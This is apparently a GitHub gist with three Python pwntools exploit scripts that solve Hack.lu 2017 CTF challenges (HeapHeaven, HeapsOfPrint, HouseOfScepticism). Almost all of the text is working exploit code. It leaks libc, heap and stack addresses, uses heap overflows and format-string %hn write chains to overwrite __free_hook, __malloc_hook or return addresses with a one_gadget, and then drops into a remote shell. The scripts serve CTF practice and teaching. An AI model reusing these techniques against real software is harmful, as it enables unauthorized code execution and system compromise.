Last active
October 20, 2017 05:44
-
-
Save bruce30262/688268079694c39ce706d87d9dd3275c to your computer and use it in GitHub Desktop.
Solutions for HeapHeaven, HeapsOfPrint & HouseOfScepticism from Hack.lu 2017 CTF
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# HeapHeaven | |
# solved by bruce30262 | |
from pwn import * | |
import subprocess | |
import sys | |
import time | |
HOST = "flatearth.fluxfingers.net" | |
PORT = 1743 | |
ELF_PATH = "./HeapHeaven" | |
LIBC_PATH = "/lib/x86_64-linux-gnu/libc.so.6" | |
context.binary = ELF_PATH | |
context.log_level = 'INFO' # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING'] | |
context.terminal = ['tmux', 'splitw'] # for gdb.attach | |
elf = context.binary # context.binary is an ELF object | |
libc = ELF(LIBC_PATH) | |
def num(n): | |
temp = n | |
ret = "" | |
while temp != 0: | |
if temp % 2 == 1: | |
ret = "wi" + ret | |
else: | |
ret = "wa" + ret | |
temp /= 2 | |
ret = ret.ljust(128, "i") | |
return ret | |
def whaa(sz): | |
r.sendlineafter("NOM-NOM\n", "whaa!") | |
r.sendlineafter("darling...", num(sz)) | |
def mommy(sz): | |
r.sendlineafter("NOM-NOM\n", "mommy?") | |
time.sleep(0.5) | |
r.sendline(num(sz)) | |
def spill(sz, data): | |
r.sendlineafter("NOM-NOM\n", "<spill>") | |
r.sendlineafter("doing?\n", num(sz)) | |
r.sendlineafter("darling!\n", data) | |
def nomnom(sz): | |
r.sendlineafter("NOM-NOM\n", "NOM-NOM") | |
time.sleep(0.5) | |
r.sendline(num(sz)) | |
if __name__ == "__main__": | |
# flag: FLAG{0ne_5t3p_cl053r_t0_h34p_h34v3n} | |
r = remote(HOST, PORT) | |
#r = process(ELF_PATH) | |
# make libc addr on heap | |
whaa(0xf8) | |
whaa(0xf8) | |
whaa(0xf8) | |
nomnom(0x120) | |
# leak libc | |
mommy(0x120) | |
r.recvuntil("here, darling: ") | |
libc.address = u64(r.recv(6).ljust(8,"\x00")) - 0x3c4b78 | |
malloc_hook = libc.symbols['__malloc_hook'] | |
free_hook = libc.symbols['__free_hook'] | |
one_gadget = libc.address + 0xf1117 | |
log.success("libc: "+hex(libc.address)) | |
log.success("malloc_hook:"+ hex(malloc_hook)) | |
log.success("free_hook:"+ hex(free_hook)) | |
log.success("one_gadget: "+hex(one_gadget)) | |
# put some chunk in fastbin | |
whaa(0x68) | |
whaa(0x68) | |
nomnom(0x120) | |
nomnom(0x190) | |
# leak heap address | |
mommy(0x190) | |
r.recvuntil("here, darling: ") | |
hap = u64(r.recv(6).ljust(8,"\x00")) - 0x120 + 0x10 | |
#hap = u64(r.recv(5).ljust(8,"\x00")) - 0x120 + 0x10 # local side | |
log.success("hap: "+hex(hap)) | |
# overwrite free_hook to one_gadget | |
spill(free_hook - hap, p64(one_gadget)) | |
nomnom(0x10) | |
r.interactive() | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# HeapsOfPrint | |
# solved by bruce30262 | |
from pwn import * | |
import subprocess | |
import sys | |
import time | |
HOST = "flatearth.fluxfingers.net" | |
PORT = 1747 | |
ELF_PATH = "./HeapsOfPrint" | |
LIBC_PATH = "/lib/x86_64-linux-gnu/libc.so.6" | |
context.binary = ELF_PATH | |
context.log_level = 'INFO' # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING'] | |
context.terminal = ['tmux', 'splitw'] # for gdb.attach | |
elf = context.binary # context.binary is an ELF object | |
libc = ELF(LIBC_PATH) | |
if __name__ == "__main__": | |
while True: | |
try: | |
r = remote(HOST, PORT) | |
#r = process(ELF_PATH) | |
r.recvuntil("character is "); | |
last = u8(r.recv(1)) | |
r.recvuntil("Is it?") | |
log.success("last: "+hex(last)) | |
if last < 0x37 or last > 0xb7: | |
r.close() | |
continue | |
######## 1st ebp chain : return to do_this() & leak stack, libc, canary ######### | |
fake_last = last - 15 | |
payload = "%c" * 4 + "%"+str(fake_last-4)+"c" + "%hhn" # change pointer to func's &ret | |
payload += "%" + str(0xb3-fake_last) + "c" + "%10$hhn" # modify pointer , change func's ret | |
payload += "abcd%6$p.%17$p.%9$p." # leak stack & libc | |
print "payload1:", payload | |
r.sendline(payload) | |
r.recvuntil("bcd") | |
resp = r.recvuntil("My ").split(".") | |
# leak info | |
ret_stack = int(resp[0], 16) - 0x30 | |
libc.address = int(resp[1], 16) - 0x20830 | |
canary = int(resp[2], 16) | |
one_gadget = libc.address + 0xf1117 | |
log.success("ret_stack: "+hex(ret_stack)) | |
log.success("libc: "+hex(libc.address)) | |
log.success("one_gadget: "+hex(one_gadget)) | |
log.success("canary: "+hex(canary)) | |
####### 2nd ebp chain : write 0 ( for one_gadget's usage) & return to do_this() ######## | |
fuck = (ret_stack-0x78-0x18)&0xffff | |
fake_last = (ret_stack)&0xffff | |
# get byte to write zero | |
zero = 0 - fuck - 2 | |
while zero <= 0: | |
zero += 256 | |
# get byte to write fake_last | |
real_fake_last = fake_last - (zero+2+fuck+1) | |
while real_fake_last <= 0: | |
real_fake_last += 65536 | |
# get byte to write fake_ret | |
fake_ret = 0xb3 - ( real_fake_last + 1 + fuck + 2 + zero ) | |
while fake_ret <= 0: | |
fake_ret += 256 | |
# we have to overwrite a data on stack to zero | |
# this data is rsp+0x70 ( used by one_gadget ) | |
# so later execve("/bin/sh", rsp+0x70, environ) will success | |
payload = "%c" * 4 + "%"+str(fuck-4)+"c" + "%hn" # change pointer to &fuck | |
payload += "%c%c" + "%" +str(zero) + "c" + "%hhn" # write 0 to fuck | |
payload += "%c" + "%" +str(real_fake_last) + "c" + "%hn" # change pointer to func's &ret | |
payload += "%" + str(fake_ret) + "c" + "%10$hhn" # modify pointer , change func's ret | |
print "payload2:", payload | |
r.recvuntil("Is it?") | |
r.sendline(payload) | |
###### 3rd ebp chain : overwrite vfprintf's ret to one gadget ######### | |
fake_last = (ret_stack - 0x108)&0xffff | |
fake_last_1 = (fake_last&0xff) + 1 | |
low = one_gadget&0xff | |
high = ((one_gadget) >> 8) & 0xffff | |
log.success("vfprint_ret_stack_last4: "+hex(fake_last)) | |
log.success("low: "+hex(low)) | |
log.success("high: "+hex(high)) | |
log.success("fake_last_1: "+hex(fake_last_1)) | |
# calculate real low | |
# real_low = 256n+low-fake_last-2 | |
real_low = low - fake_last-2 | |
while real_low <= 0: | |
real_low += 256 | |
real_fake_last_1 = fake_last_1 - ( real_low + fake_last + 2 + 1) | |
while real_fake_last_1 <= 0: | |
real_fake_last_1 += 256 | |
real_high = high - ( real_fake_last_1 + real_low + fake_last + 2 + 1 ) | |
while real_high <= 0: | |
real_high += 65536 | |
payload = "%c" * 4 + "%"+str(fake_last-4)+"c" + "%hn" # change pointer to func's &ret | |
payload += "%c%c" + "%" +str(real_low) + "c" + "%hhn" # overwrite ret's low byte ( 1 byte ) | |
payload += "%c" + "%" +str(real_fake_last_1) + "c" + "%hhn" # change pointer to func's (&ret)+1 | |
payload += "%" + str(real_high) + "c" + "%10$hn"# overwrite ret+1 ( 2 byte ) | |
print "payload3:", payload | |
r.sendline(payload) | |
r.interactive() | |
except EOFError: | |
r.close() | |
continue |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# HouseOfScepticism | |
# solved by bruce30262 | |
from pwn import * | |
import subprocess | |
import sys | |
import time | |
HOST = "flatearth.fluxfingers.net" | |
PORT = 1748 | |
ELF_PATH = "./HouseOfScepticism" | |
LIBC_PATH = "/lib/x86_64-linux-gnu/libc.so.6" | |
context.binary = ELF_PATH | |
context.log_level = 'INFO' # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING'] | |
context.terminal = ['tmux', 'splitw'] # for gdb.attach | |
elf = context.binary # context.binary is an ELF object | |
libc = ELF(LIBC_PATH) | |
def add(sz, sub, secret): | |
r.sendlineafter("Exit\n>", "1") | |
r.sendlineafter(">", str(sz)) | |
if len(sub) == 0: | |
r.sendlineafter(">", "n") | |
else: | |
r.sendlineafter(">", "y") | |
r.sendlineafter(">", sub) | |
r.sendlineafter(">", secret) | |
def edit(idx, start, sz, data): | |
r.sendlineafter("Exit\n>", "2") | |
r.sendlineafter(">", str(idx)) | |
r.sendlineafter(">", str(start)) | |
r.sendlineafter(">", str(sz)) | |
r.sendafter(">", data) | |
def read(idx, fmt=""): | |
r.sendlineafter("Exit\n>", "3") | |
r.sendlineafter(">", str(idx)) | |
r.sendlineafter(">", fmt) | |
def encode(s, key): | |
ret = "" | |
cnt = 0 | |
for c in s: | |
temp = (key >> (8*cnt)) & 0xff | |
ret += chr(ord(c) ^ temp) | |
cnt += 1 | |
if cnt == 8: | |
cnt = 0 | |
return ret | |
if __name__ == "__main__": | |
r = remote(HOST, PORT) | |
#r = process(ELF_PATH) | |
magic = "#.64" | |
# make libc addr on heap | |
# secret 0 @ 020 | |
add(100,"","A"*48) | |
read(0, magic) | |
# secret 1 @ 0f0 | |
add(300,"","A"*200) | |
read(1, magic) | |
# secret 2 @ 240 | |
add(200,"","A"*100) | |
read(2, magic) | |
# secret 3 @ 390 | |
add(500,"","A"*400) | |
read(3, magic) | |
# overflow secret 1 | |
# overwrite secret 1's size ( to a super large number ) | |
payload = "i"*40 | |
payload += "FUCK"*4 # subject | |
payload += p64(0xffffffffffffffff) | |
add(0, "",payload) | |
# edit secret 1 & overflow secret 2 | |
# overflow secret 2 to leak key | |
payload = "i"*304 # pad to 2 | |
payload += p64(0xffffffffffffffff) | |
payload += p8(0)*16 # 2's subject | |
payload += "\xff\xff" # 2's size | |
edit(1, 0, len(payload), payload) | |
# key will be @ secret 2's subject | |
read(2) | |
r.recvuntil("Subject: ") | |
key = u64(r.recv(8)) & 0xffffffffffffff | |
log.success("key: "+hex(key)) | |
# overflow secret 2 to leak libc | |
payload = p64(224) # 2's size | |
payload += "2"*224 | |
real_payload = payload | |
payload = encode(payload, key) | |
assert encode(payload, key) == real_payload | |
edit(1, 328, len(payload)+1, payload) | |
# leak libc | |
read(2) | |
r.recvuntil("Subject:") | |
r.recvline() | |
resp = r.recvline()[:-1:] | |
unsortbin = u64(resp[-6::].ljust(8, "\x00")) | |
libc.address = unsortbin - 0x3c4bc8 | |
malloc_hook = libc.symbols['__malloc_hook'] | |
free_hook = libc.symbols['__free_hook'] | |
one_gadget = libc.address + 0x4526a | |
log.success("libc: "+hex(libc.address)) | |
log.success("unsortbin: "+hex(unsortbin)) | |
log.success("malloc_hook: "+hex(malloc_hook)) | |
log.success("free_hook: "+hex(free_hook)) | |
log.success("one_gadget: "+hex(one_gadget)) | |
# restore unsortbin data | |
payload = p64(0x61) # 2's size | |
payload += p64(unsortbin) | |
real_payload = payload | |
payload = encode(payload, key) | |
assert encode(payload, key) == real_payload | |
edit(1, 0x218+8, len(payload)+1, payload) | |
# put chunk in unsortbin | |
read(0, magic) | |
# overflow unsortbin chunk size, change to 0x40 | |
payload = p64(0x41) # 2's size | |
real_payload = payload | |
payload = encode(payload, key) | |
assert encode(payload, key) == real_payload | |
edit(1, 0x260, len(payload)+1, payload) | |
# make heap address on heap | |
read(3, magic) | |
read(1, magic) | |
# overflow secret 2 to leak heap | |
payload = p64(0x120) # 2's size | |
payload += "2"*0x120 | |
real_payload = payload | |
payload = encode(payload, key) | |
assert encode(payload, key) == real_payload | |
edit(1, 328, len(payload)+1, payload) | |
# leak heap | |
read(2) | |
r.recvuntil("Subject:") | |
r.recvline() | |
resp = r.recvline()[:-1:] | |
heap_base = u64(resp[-6::].ljust(8, "\x00")) - 0x1320 | |
start = heap_base + 0x1108 | |
log.success("start: "+hex(start)) | |
# overwrite malloc hook | |
payload = p64(one_gadget) | |
real_payload = payload | |
payload = encode(payload, key) | |
assert encode(payload, key) == real_payload | |
edit(1, malloc_hook - start , len(payload)+1, payload) | |
# call malloc, get shell | |
read(0, magic) | |
r.interactive() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment